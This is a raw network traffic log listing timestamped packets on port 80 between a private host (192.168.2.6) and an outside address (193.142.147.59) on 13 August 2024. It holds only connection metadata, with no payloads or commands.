Aug 13, 2024 10:21:13.892045975 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.892045975 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.892060041 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.892074108 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.892074108 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.892075062 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.892102003 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.892102003 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.892503977 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.892693043 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.892709017 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.892723083 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.892738104 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.892770052 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.892812967 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.892827988 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.892833948 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.892843008 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.892846107 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.892858982 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.892873049 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.892879009 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.892879009 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.892888069 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.892904043 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.892910004 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.892910004 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.892919064 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.892924070 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.892959118 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.892975092 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.892987013 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.893026114 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.893026114 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.967381954 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.967403889 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.967458010 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.967521906 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.967536926 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.967551947 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.967551947 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.967566967 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.968522072 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.976716995 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.976762056 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.976788044 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.976907969 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.976923943 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.976957083 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.977030993 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.977046013 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.977054119 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.977063894 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.977087021 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.977368116 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.977382898 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.977401018 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.977407932 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.977418900 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.977427006 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.977433920 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.977478027 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.977488995 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.977823973 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.977838993 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.977849007 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.977854013 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.977876902 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.977883101 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.977895975 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.977919102 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.978339911 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.978353977 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.978368998 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.978382111 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.978393078 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.978393078 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.978396893 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.978411913 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.978421926 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.978451014 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.978460073 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.978466034 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.978467941 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.978482008 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.978492022 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.978496075 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.978497982 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.978512049 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.978521109 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.978527069 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.978537083 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.979373932 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.979388952 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.979398966 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.979404926 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.979429960 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.979432106 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.979446888 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.979458094 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.979465008 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.979480028 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.979490042 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.979496002 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.979509115 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.979520082 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.979526997 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.979532957 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.979542017 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.979549885 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.979557037 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.979582071 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.980297089 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.980312109 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.980321884 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.980328083 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.980343103 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.980356932 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.980364084 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.980371952 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.980386019 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.980397940 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.980401039 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.980417013 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.980424881 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.980432987 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.980447054 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.980447054 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.980462074 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.980473042 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.980487108 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.980545998 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.981245995 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.981261015 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.981276035 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.981290102 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.981303930 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.981319904 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.981322050 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.981333971 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.981345892 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.981348038 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.981359959 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.981364012 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.981380939 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.981395960 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.981395960 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.981424093 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.981424093 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.055274963 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.060220003 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.251427889 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.251446962 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.251461029 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.251508951 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.251542091 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.251558065 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.251570940 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.251581907 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.251595020 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.251597881 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.251626968 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.251652002 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.251827002 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.251868010 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.251900911 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.251913071 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.251924038 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.251935005 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.251940012 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.251956940 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.251976013 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.252357006 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.252370119 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.252379894 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.252392054 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.252403021 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.252407074 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.252418995 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.252422094 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.252429008 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.252434969 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.252439022 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.252444983 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.252465010 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.252509117 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.253110886 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.253123999 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.253134012 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.253144979 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.253156900 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.253168106 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.253170013 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.253180027 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.253206968 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.253232002 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.253727913 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.253741026 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.253751993 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.253763914 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.253771067 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.253773928 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.253783941 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.253786087 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.253798008 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.253803015 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.253808975 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.253823042 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.253829956 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.253839016 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.253848076 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.253851891 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.253861904 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.253871918 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.253890038 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.253915071 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.254728079 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.254740953 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.254751921 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.254762888 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.254772902 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.254774094 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.254785061 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.254787922 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.254796028 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.254807949 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.254817009 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.254818916 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.254831076 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.254833937 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.254843950 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.254852057 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.254853964 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.254882097 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.254905939 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.255708933 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.255722046 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.255732059 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.255742073 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.255752087 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.255752087 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.255764008 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.255770922 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.255774975 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.255789042 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.255800009 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.255800009 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.255810976 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.255811930 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.255824089 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.255832911 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.255835056 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.255846024 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.255862951 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.255893946 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.256484985 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.256525040 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.382047892 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.386961937 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.606959105 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.607017040 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.607053995 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.607074022 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.607085943 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.607091904 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.607100964 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.607110977 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.607112885 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.607131004 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.607152939 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.607366085 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.607404947 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.607527018 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.607538939 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.607548952 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.607559919 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.607570887 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.607582092 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.607582092 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.607619047 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.607637882 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.607846022 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.607857943 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.607887983 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.607901096 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.607902050 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.607916117 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.607927084 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.607939005 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.607939959 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.607949018 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.607959032 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.607964039 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.607976913 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.607976913 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.608002901 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.608017921 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.608500957 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.608520031 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.608530998 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.608540058 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.608550072 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.608551025 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.608561993 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.608567953 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.608577013 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.608594894 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.608613014 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.609119892 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.609131098 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.609142065 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.609152079 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.609162092 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.609169006 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.609173059 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.609184027 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.609194040 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.609199047 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.609204054 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.609215021 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.609220028 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.609255075 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.609936953 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.609947920 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.609957933 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.609968901 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.609980106 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.609989882 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.609999895 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.610006094 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.610018015 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.610025883 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.610029936 CEST	80	49711	193.142.147.59	192.168.2.6
